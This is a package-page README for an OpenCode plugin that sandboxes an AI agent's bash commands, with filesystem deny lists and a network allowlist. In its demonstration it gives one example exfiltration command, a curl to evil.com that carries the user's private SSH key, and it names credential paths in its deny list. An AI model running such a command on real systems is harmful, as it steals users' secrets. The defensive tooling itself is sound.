JSPM

  • ESM via JSPM
  • ES Module Entrypoint
  • Export Map
  • Keywords
  • License
  • Repository URL
  • TypeScript Types
  • README
  • Created
  • Published
  • Downloads 55
  • Score
    100M100P100Q96196F
  • License MIT

OpenCode plugin that sandboxes agent commands using @anthropic-ai/sandbox-runtime (seatbelt on macOS, bubblewrap on Linux)

Package Exports

  • opencode-sandbox

Readme

opencode-sandbox

An OpenCode plugin that sandboxes agent-executed commands using @anthropic-ai/sandbox-runtime.

Every bash tool invocation is wrapped with OS-level filesystem and network restrictions — no containers, no VMs, just native OS sandboxing primitives.

Platform Mechanism
macOS sandbox-exec (Seatbelt profiles)
Linux bubblewrap (namespace isolation)
Windows Not supported (commands pass through)

Install

# Add to your opencode config
# opencode.json
{
  "plugin": ["opencode-sandbox"]
}

The plugin is automatically installed from npm when opencode starts.

Linux prerequisite

Ensure bubblewrap is installed:

# Debian/Ubuntu
sudo apt install bubblewrap

# Fedora
sudo dnf install bubblewrap

# Arch
sudo pacman -S bubblewrap

What it does

When the agent runs a bash command like:

curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa)

The sandbox blocks it:

cat: /home/user/.ssh/id_rsa: Operation not permitted
Connection blocked by network allowlist

Default restrictions

Filesystem (deny-read):

  • ~/.ssh
  • ~/.gnupg
  • ~/.aws/credentials
  • ~/.config/gcloud
  • ~/.npmrc
  • ~/.env

Filesystem (allow-write):

  • Project directory
  • Git worktree
  • /tmp

Network (allow-only):

  • registry.npmjs.org, *.npmjs.org
  • registry.yarnpkg.com
  • pypi.org, crates.io
  • github.com, *.github.com
  • gitlab.com, *.gitlab.com
  • api.openai.com, api.anthropic.com
  • *.googleapis.com

Everything else is blocked by default.

Configuration

Option 1: Config file

{
  "filesystem": {
    "denyRead": ["~/.ssh", "~/.aws/credentials"],
    "allowWrite": [".", "/tmp", "/var/data"],
    "denyWrite": [".env.production"]
  },
  "network": {
    "allowedDomains": [
      "registry.npmjs.org",
      "github.com",
      "*.github.com",
      "api.openai.com",
      "api.anthropic.com",
      "my-internal-api.company.com"
    ],
    "deniedDomains": ["malicious.example.com"]
  }
}

Option 2: Environment variable

OPENCODE_SANDBOX_CONFIG='{"filesystem":{"denyRead":["~/.ssh"]},"network":{"allowedDomains":["github.com"]}}' opencode

Option 3: Disable

OPENCODE_DISABLE_SANDBOX=1 opencode

Or in .opencode/sandbox.json:

{
  "disabled": true
}

How it works

The plugin uses two OpenCode hooks:

  1. tool.execute.before — Intercepts bash commands and wraps them with SandboxManager.wrapWithSandbox() before execution
  2. tool.execute.after — Detects sandbox-blocked operations in the output and annotates them for the agent
Agent → bash tool → [plugin wraps command] → sandboxed execution → [plugin annotates blocks] → Agent

Fail-open design

If anything goes wrong (sandbox init fails, wrapping fails, platform unsupported), commands run normally without sandbox. The plugin never breaks your workflow.

Local development

# Clone and install
git clone https://github.com/isanchez31/opencode-sandbox-plugin.git
cd opencode-sandbox-plugin
bun install

# Run tests
bun test

# Use as local plugin
# In your project's .opencode/plugins/sandbox.ts:
export { SandboxPlugin } from "/path/to/opencode-sandbox/src/index"

Architecture

src/
├── index.ts    # Plugin entry — exports SandboxPlugin, hooks into tool.execute.before/after
└── config.ts   # Config loading (env var, .opencode/sandbox.json) + defaults + resolution

test/
├── config.test.ts   # Unit tests for config resolution
└── plugin.test.ts   # Integration tests for plugin hooks